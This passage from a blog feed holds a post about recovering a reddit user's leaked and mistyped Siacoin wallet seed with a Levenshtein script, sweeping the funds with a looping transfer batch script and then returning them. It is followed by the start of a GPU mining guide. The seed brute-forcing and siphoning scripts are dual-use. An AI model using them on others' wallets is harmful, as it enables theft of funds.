&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ wget -qO- https://raw.githubusercontent.com/NebulousLabs/entropy-mnemonics/master/english.go \
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | egrep &amp;#34;^\s+\&amp;#34;(.+)\&amp;#34;,&amp;#34; \
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> | egrep -o [a-z]+ \
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;gt; dictionary.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then I installed the &lt;a href="https://pypi.python.org/pypi/python-Levenshtein">&lt;code>python-Levenshtein&lt;/code>&lt;/a> library and wrote a hacky little Python script to dump out the possible seeds:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">Levenshtein&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>seed = raw_input(&lt;span style="color:#ed9d13">&amp;#39;enter your wallet seed: &amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> seed_word &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> seed.split():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> dict_word &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> &lt;span style="color:#24909d">open&lt;/span>(&lt;span style="color:#ed9d13">&amp;#39;dictionary.txt&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dict_word = dict_word.strip()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> distance = Levenshtein.distance(seed_word, dict_word)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> distance != &lt;span style="color:#3677a9">1&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">print&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34; -&amp;gt; &amp;#34;&lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">%s&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#39;&lt;/span> % (seed_word, dict_word,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> seed.replace(seed_word, dict_word))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;em>Confession: In real life, the script was much hackier and involved copy/pasting the 1,600 lines from the dictionary directly into my Python script. This code is better for demonstration.&lt;/em>&lt;/p>
&lt;h2 id="opening-the-safe">Opening the safe&lt;/h2>
&lt;p>I was worried that there would be hundreds of possibilities and I&amp;rsquo;d have to script the process of trying each seed. Fortunately, my script reported that there were only 12 seeds that had a Levenshtein distance of 1 from the incorrect seed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>$ python recover.py
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>enter your wallet seed: eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;wise&amp;#34; -&amp;gt; &amp;#34;wife&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wife ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;tagged&amp;#34; -&amp;gt; &amp;#34;jagged&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend jagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;tagged&amp;#34; -&amp;gt; &amp;#34;nagged&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend nagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;aptitude&amp;#34; -&amp;gt; &amp;#34;altitude&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger altitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;push&amp;#34; -&amp;gt; &amp;#34;lush&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar lush because brunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;brunt&amp;#34; -&amp;gt; &amp;#34;grunt&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because grunt viking gone august public tonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;tonic&amp;#34; -&amp;gt; &amp;#34;ionic&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public ionic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;tonic&amp;#34; -&amp;gt; &amp;#34;sonic&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public sonic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;tonic&amp;#34; -&amp;gt; &amp;#34;topic&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public topic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;tonic&amp;#34; -&amp;gt; &amp;#34;toxic&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public toxic vulture shrugged otter adapt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;adapt&amp;#34; -&amp;gt; &amp;#34;adept&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adept
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;#34;adapt&amp;#34; -&amp;gt; &amp;#34;adopt&amp;#34;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>eluded logic wise ascend tagged acoustic situated stylishly younger aptitude inroads avidly hefty also godfather unrest avatar push because brunt viking gone august public tonic vulture shrugged otter adopt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There were few enough possibilities that I could just type them into Sia manually. I tried the first possible seed, created by replacing &lt;code>wise&lt;/code> in the incorrect seed with &lt;code>wife&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>&amp;gt; siac wallet init-seed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Seed:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Could not initialize wallet from seed: error when calling /wallet/init/seed: seed failed checksum verification
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That was to be expected. They weren&amp;rsquo;t all going to be valid seeds. I kept trying each potential seed until I got to the seed that replaced &lt;code>tonic&lt;/code> with &lt;code>ionic&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>&amp;gt; siac wallet init-seed
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Seed:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Wallet initialized and encrypted with seed.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Jackpot!&lt;/p>
&lt;p>Let&amp;rsquo;s check what&amp;rsquo;s inside:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>&amp;gt; siac wallet unlock
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Wallet password:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Wallet unlocked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;gt; siac wallet
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Wallet status:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Encrypted, Unlocked
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Confirmed Balance: 594.8 SC
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s weird. 594.8 SC (Siacoin) at that time was worth about €10, a far cry from the €2,000 that the user claimed was in the wallet.&lt;/p>
&lt;p>Was &lt;em>I&lt;/em> the one being fleeced somehow? Did the user know they only had €10 but claim a much higher amount to entice someone to help them? Did a better cryptothief get to the wallet first and leave behind just €10 to taunt me?&lt;/p>
&lt;h2 id="securing-the-loot">Securing the loot&lt;/h2>
&lt;p>While I would have loved to sit and ponder the strange balance I was seeing, time was of the essence. I didn&amp;rsquo;t know who else saw that post and was about to unlock the wallet like I just had. It was time to steal the Siacoin.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Ben Gates&lt;/strong>: Someone else is after the treasure.&lt;/p>
&lt;p>&lt;strong>Riley Poole&lt;/strong>: Of course someone else is after it. It&amp;rsquo;s the axiom of treasure hunting.&lt;/p>
&lt;p>-&lt;em>National Treasure: Book of Secrets&lt;/em>&lt;/p>&lt;/blockquote>
&lt;p>I quickly &lt;a href="https://siastats.info/navigator?search=2304da26d61bd2cb7fcac5c7b38a553d788d8dfc386ae4eb47772e36e4a9269d">sent the full balance&lt;/a> to my own Sia wallet. That way, even if someone else discovered the correct seed after I had, they couldn&amp;rsquo;t recover the money.&lt;/p>
&lt;h2 id="back-to-the-mystery">Back to the mystery&lt;/h2>
&lt;p>Now that the coins were secured, it was time to figure out just what was going on here. I checked the wallet&amp;rsquo;s transaction history:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>&amp;gt; siac wallet transactions
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [height] [transaction id] [net siacoins] [net siafunds]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 108589 427b72c98e8ea64fba234ca2a00288f7a750003a243e6b3e967f5c6d426c2f9f 594.83 SC 0 SF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 109002 32ad2729fe6b487aedc1b70d0dff0843404ff1cef69223d5f03699dcd1dbe568 0.00 SC 0 SF
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 109002 2304da26d61bd2cb7fcac5c7b38a553d788d8dfc386ae4eb47772e36e4a9269d -594.55 SC 0 SF
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>












 















&lt;div class="img align-right" style="max-width: 225px">



 &lt;a href="https://mtlynch.io/stole-siacoins/hardy-boys.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 225px, 98vw"
 srcset='https://mtlynch.io/stole-siacoins/hardy-boys.jpg 225w'
 src="https://mtlynch.io/stole-siacoins/hardy-boys.jpg" alt="Hardy Boys cover" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The last transaction in the list is the withdrawal. That&amp;rsquo;s just me stealing the money. Don&amp;rsquo;t worry about that. The transaction of 0.00 SC is just noise, as Sia wallets generate these 0.0 transactions when moving money between their own addresses.&lt;/p>
&lt;p>I was interested in the first transaction in the list. That line showed that this wallet had only ever received one deposit of 594.83 SC at block height 108,589. The block height is essentially a &amp;ldquo;time&amp;rdquo; in Siacoin time units. Checking the &lt;a href="https://siastats.info/navigator?search=427b72c98e8ea64fba234ca2a00288f7a750003a243e6b3e967f5c6d426c2f9f">transaction in the Sia block explorer&lt;/a>, I could see this deposit was made on June 7th, 2017, two days before the user&amp;rsquo;s reddit post.&lt;/p>
&lt;p>Why would the user claim that they had put €2,000 in the wallet when they had only deposited €10?&lt;/p>
&lt;h2 id="transactions-in-limbo">Transactions in limbo&lt;/h2>
&lt;p>At the time of my daring heist, Poloniex, the largest Siacoin exchange was &lt;a href="https://www.reddit.com/r/siacoin/comments/6er35v/what_we_are_doing_about_poloniex_withdrawals/?st=j3z7orst&amp;amp;sh=c0afe15e">experiencing problems&lt;/a> transferring Siacoin to users&amp;rsquo; wallets. They weren&amp;rsquo;t losing user funds, but it was common for transactions to get stuck in limbo, where the user sent money from their exchange account to their personal Sia wallet, but Poloniex got backed up on delivering it for days or weeks.&lt;/p>
&lt;p>Maybe this user had &lt;em>sent&lt;/em> €2,000 to the wallet, but the money was trapped in Poloniex limbo. That meant the €2,000 might still be up for grabs because it would still reach the wallet eventually.&lt;/p>
&lt;p>This was a new, interesting problem. How do I steal the money if it hasn&amp;rsquo;t arrived in the wallet yet and I don&amp;rsquo;t know when it will get there? I decided to just write a batch script to keep transferring money from the exposed wallet to my own wallet. Or rather, I decided to learn how to write a batch script because my easiest available Sia instance was a Windows virtual machine and I don&amp;rsquo;t know how to write batch scripts in Windows. Eventually, I churned out this fine piece of batch scripting:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bat" data-lang="bat">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">/l&lt;/span> &lt;span style="color:#ed9d13">%%&lt;/span>x &lt;span style="color:#6ab825;font-weight:bold">in&lt;/span> (&lt;span style="color:#3677a9">1&lt;/span>, &lt;span style="color:#3677a9">0&lt;/span>, &lt;span style="color:#3677a9">100&lt;/span>) &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> siac wallet send siacoins 2000SC fff0228f02a01cf8e037047a5ea0db5a88d614913af5f21de209ebf2e58431c68cfc9c27d0e4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That script repeatedly tries to send 2,000 SC from the reddit user&amp;rsquo;s compromised wallet to my own wallet address. It goes from 1 to 100 in increments of 0, so it loops forever.&lt;/p>
&lt;p>While the wallet continues to have zero balance, this command will just fail to no effect. If, however, the wallet received the €2,000 I was hoping for, it will siphon it over to my wallet, 2,000 SC at a time.&lt;/p>
&lt;p>I chose 2,000 SC because a relatively low transfer was safer. I was effectively playing by &lt;em>The Price is Right&lt;/em> rules. If I had chosen, say, 125,000 SC, the equivalent of €2,000 at the time, but then only 124,000 SC arrived in the wallet, my command would have failed with another insufficient balance error and transferred nothing.&lt;/p>
&lt;p>There was no real penalty for guessing too low except that I&amp;rsquo;d pay more in transaction fees. 2,000 SC was about €35, so my batch script would have emptied the wallet in a couple minutes if a deposit of ~125,000 SC (€2,000) came through.&lt;/p>
&lt;h2 id="informing-the-victim">Informing the victim&lt;/h2>
&lt;p>I admit that I did entertain quite a few fantasies about what I could spend the €10 on if I kept it for myself: private jets, Rolexes, a mansion with one of those Scrooge McDuck swimming pools of money. But in the end, I decided I had to do the right thing and return the Siacoin to the user who posted their seed.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/stole-siacoins/american-psycho.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/stole-siacoins/american-psycho_hu_6f6a63ed9270baa0.webp 300w, https://mtlynch.io/stole-siacoins/american-psycho.webp 500w'
 src="https://mtlynch.io/stole-siacoins/american-psycho.webp" alt="American Psycho" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Me, if I had kept the money.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Still, the discrepancy between the amount I found and the amount they lost could potentially make things awkward. It would be like calling someone up and saying, &amp;ldquo;Hey, are you the guy who put up those posters about the lost wallet with €2,000 cash inside? I found it, but it only had- uh&amp;hellip; &lt;em>€10&lt;/em> inside&amp;hellip;&amp;rdquo; (shifts eyes).&lt;/p>
&lt;p>About two hours after the user&amp;rsquo;s original post, I sent them a private message on reddit. I explained how I had recovered their seed and taken the money to keep it safe from less scrupulous users who could have recovered it as well. I requested they give me a Siacoin address not associated with the leaked seed so that I could return the Siacoin balance to them.&lt;/p>
&lt;p>Hours passed, then days, and I heard nothing back. I noticed they had deleted the post to reddit exposing their seed. Who loses €2,000, posts online asking for help, then seems to completely forget about it a few hours later?&lt;/p>
&lt;h2 id="mystery-solved">Mystery solved&lt;/h2>
&lt;p>Finally, on Monday morning, the victim of my heinous crime got back to me. They explained that shortly after making their post, they realized that their money was still on the exchange and had never reached their wallet (I knew it!). They were able to move the money to a separate wallet whose seed was secure. When they realized they hadn&amp;rsquo;t actually lost the money, they didn&amp;rsquo;t think to check back to reddit.&lt;/p>
&lt;p>They were delighted that I had recovered the seed because I had solved &lt;em>their&lt;/em> mystery of what went wrong with the passphrase. They had correctly written down &lt;code>ionic&lt;/code> but they kept mistakenly reading it back as &lt;code>tonic&lt;/code> because that was the more familiar word to them. The user even offered to let me keep the full amount, but I felt &lt;del>I would come off better in this blog post&lt;/del> the coins rightfully belonged to the user who lost them. I insisted, and they finally relented and sent me an address so I could return the 594.8 SC.&lt;/p>
&lt;h2 id="takeaways">Takeaways&lt;/h2>
&lt;p>&lt;strong>Never post your Sia wallet seed online&lt;/strong>. As we see from this tale, even an incorrect or partial version of the seed can completely compromise your wallet.&lt;/p>
&lt;p>This applies not only to Siacoin but to cryptocurrencies in general. Not all of them use a passphrase like Sia, but they all use some sort of private key you must keep secret if you don&amp;rsquo;t want to lose your coins.&lt;/p></content:encoded></item><item><title>A Beginner's Guide to Mining Siacoin</title><link>https://mtlynch.io/windows-sia-mining/</link><pubDate>Sat, 20 May 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/windows-sia-mining/</guid><description>&lt;div class="notice notice-warning">
 &lt;p>&lt;strong>This guide is out of date.&lt;/strong>&lt;/p>
&lt;p>This post describes mining Sia with a desktop graphics card (GPU), but &lt;a href="https://obelisk.tech">custom mining hardware&lt;/a> is now available for Sia. The custom hardware has made Sia GPU mining non-viable. This guide will still work, but you may never reach payout, even with a high-end GPU.&lt;/p>

&lt;/div>

&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>&lt;a href="https://sia.tech/">Sia&lt;/a> is a decentralized, peer-to-peer network for buying and
selling computer storage space.&lt;/p>
&lt;p>Users pay for transactions within Sia using a cryptocurrency called Siacoin. Like Bitcoin, Sia relies on &amp;ldquo;miners&amp;rdquo; to supply computing power to the network. These miners are paid for their contributions in Siacoin.&lt;/p></description><content:encoded>&lt;div class="notice notice-warning">
 &lt;p>&lt;strong>This guide is out of date.&lt;/strong>&lt;/p>
&lt;p>This post describes mining Sia with a desktop graphics card (GPU), but &lt;a href="https://obelisk.tech">custom mining hardware&lt;/a> is now available for Sia. The custom hardware has made Sia GPU mining non-viable. This guide will still work, but you may never reach payout, even with a high-end GPU.&lt;/p>

&lt;/div>

&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>&lt;a href="https://sia.tech/">Sia&lt;/a> is a decentralized, peer-to-peer network for buying and
selling computer storage space.&lt;/p>
&lt;p>Users pay for transactions within Sia using a cryptocurrency called Siacoin. Like Bitcoin, Sia relies on &amp;ldquo;miners&amp;rdquo; to supply computing power to the network. These miners are paid for their contributions in Siacoin.&lt;/p>
&lt;p>In this guide, I&amp;rsquo;ll show you how to generate money when you&amp;rsquo;re not using your Windows PC by setting it up to mine Siacoin.&lt;/p>
&lt;h2 id="time-required">Time Required&lt;/h2>
&lt;p>This guide looks long, but it&amp;rsquo;s just because there are lots of screenshots. I estimate that it only takes about &lt;strong>20 minutes&lt;/strong> to get started with mining.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Task&lt;/th>
 &lt;th>Time&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Installing software&lt;/td>
 &lt;td>5-10 minutes&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Creating a Siacoin wallet&lt;/td>
 &lt;td>5 minutes (fast method) / 3 days (slow method)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Setting up automatic mining&lt;/td>
 &lt;td>5 minutes&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>~20 minutes&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="software-versions">Software versions&lt;/h2>
&lt;p>This guide uses the latest version of each software component at the time of writing:&lt;/p>
&lt;ul>
&lt;li>Sia-UI v.1.3.1&lt;/li>
&lt;li>CUDA v.8.0.61&lt;/li>
&lt;li>OpenCL 2.0&lt;/li>
&lt;li>Marlin v.1.0.0&lt;/li>
&lt;li>Windows 10 (will also work on Windows 7, Windows 8, Windows 8.1)&lt;/li>
&lt;/ul>
&lt;h2 id="find-your-graphics-card-type">Find your graphics card type&lt;/h2>
&lt;p>Siacoin mining uses your computer&amp;rsquo;s graphics card (which I&amp;rsquo;ll refer to as &amp;ldquo;GPU&amp;rdquo; for graphics processing unit).&lt;/p>
&lt;p>Different GPUs require different software, so follow the steps below to determine your GPU type:&lt;/p>
&lt;ol>
&lt;li>Hit Win+R to open the run dialog.&lt;/li>
&lt;li>Type &lt;code>devmgmt.msc&lt;/code> and hit Enter.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 399px">
 
 
 
 &lt;a href="https://mtlynch.io/windows-sia-mining/run-window-devicemgr.png">
 &lt;img
 
 sizes="(min-width: 768px) 399px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/run-window-devicemgr_hu_6b0f3e4d33be6c9d.png 300w, https://mtlynch.io/windows-sia-mining/run-window-devicemgr.png 399w'
 src="https://mtlynch.io/windows-sia-mining/run-window-devicemgr.png" alt="Run devicemgr" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Expand the &amp;ldquo;Display adapters&amp;rdquo; entry&lt;/li>
&lt;/ol>
&lt;p>You should see something like the following:&lt;/p>




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 781px">



 &lt;a href="https://mtlynch.io/windows-sia-mining/device-manager.png">
 &lt;img
 
 sizes="(min-width: 768px) 781px, 98vw"
 srcset='https://mtlynch.io/windows-sia-mining/device-manager_hu_ca47fb07d7875aa3.png 300w, https://mtlynch.io/windows-sia-mining/device-manager_hu_e442e38195756e9f.png 600w, https://mtlynch.io/windows-sia-mining/device-manager.png 781w'
 src="https://mtlynch.io/windows-sia-mining/device-manager.png" alt="Device Manager&amp;amp;#58; Display adapters" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Note whether your GPU begins with &amp;ldquo;NVIDIA&amp;rdquo; or &amp;ldquo;AMD.&amp;rdquo;&lt;/p>
&lt;ul>
&lt;li>If you have an &lt;strong>NVIDIA&lt;/strong> GPU, you will install &lt;strong>CUDA&lt;/strong>.&lt;/li>
&lt;li>If you have an &lt;strong>AMD&lt;/strong> GPU, you will install &lt;strong>OpenCL&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>If you see something else, you likely don&amp;rsquo;t have a compatible GPU. This means you won&amp;rsquo;t be able to mine Siacoin, but check the &lt;a href="#siacoin-mining-hardware">mining hardware section&lt;/a> (below) to see what mining-ready GPUs are available for your next build.&lt;/p>
&lt;h2 id="install-gpu-library">Install GPU library&lt;/h2>
&lt;p>In order to run a Siacoin miner, you must install the correct library for the mining software to communicate with your computer&amp;rsquo;s GPU.&lt;/p>
&lt;h3 id="install-cuda-for-nvidia-gpus">Install CUDA (for NVIDIA GPUs)&lt;/h3>
&lt;p>If you have an NVIDIA GPU, you&amp;rsquo;ll need to install CUDA. For AMD GPUs, skip to the &lt;a href="#install-opencl-for-amd-gpus">next section&lt;/a>.&lt;/p>
&lt;ol>
&lt;li>Go to &lt;a href="https://developer.nvidia.com/cuda-downloads">https://developer.nvidia.com/cuda-downloads&lt;/a>&lt;/li>
&lt;li>Next to &amp;ldquo;Operating System,&amp;rdquo; click &amp;ldquo;Windows.&amp;rdquo;&lt;/li>
&lt;li>Click the version that corresponds to your version of Windows.&lt;/li>
&lt;li>For &amp;ldquo;Installer Type&amp;rdquo; click &amp;ldquo;exe (network).&amp;rdquo;&lt;/li>
&lt;li>Click &amp;ldquo;Download.&amp;rdquo;&lt;/li>
&lt;li>Open the downloaded file and proceed through the installation using the default options.&lt;/li>
&lt;/ol>
&lt;h3 id="install-opencl-for-amd-gpus">Install OpenCL (for AMD GPUs)&lt;/h3>
&lt;p>If you have an AMD GPU, you&amp;rsquo;ll need OpenCL. It may be installed already, as it is included with many AMD drivers, but to ensure you have the latest version, follow the steps below.&lt;/p>
&lt;ol>
&lt;li>Go to &lt;a href="https://www.amd.com/en/support">https://www.amd.com/en/support&lt;/a>&lt;/li>
&lt;li>Under &amp;ldquo;Automatically Detect and Install Your Driver&amp;rdquo; click &amp;ldquo;Download Now&amp;rdquo;&lt;/li>
&lt;li>Open the downloaded file and proceed through the installation using the default options.&lt;/li>
&lt;/ol>
&lt;h2 id="install-a-siacoin-miner">Install a Siacoin miner&lt;/h2>
&lt;p>There are a few different Siacoin miners to choose from, but they all offer similar features and performance. This guide uses the Marlin miner because it is compatible with both CUDA and OpenCL, but you might want to check out &lt;a href="https://web.archive.org/web/20220528045311/https://siawiki.tech/mining/software">other mining options&lt;/a>.&lt;/p>
&lt;p>To install Marlin, follow the steps below:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Go to the &lt;a href="https://github.com/SiaMining/marlin/releases/latest">Marlin miner&lt;/a> download page.&lt;/p>
&lt;/li>
&lt;li>
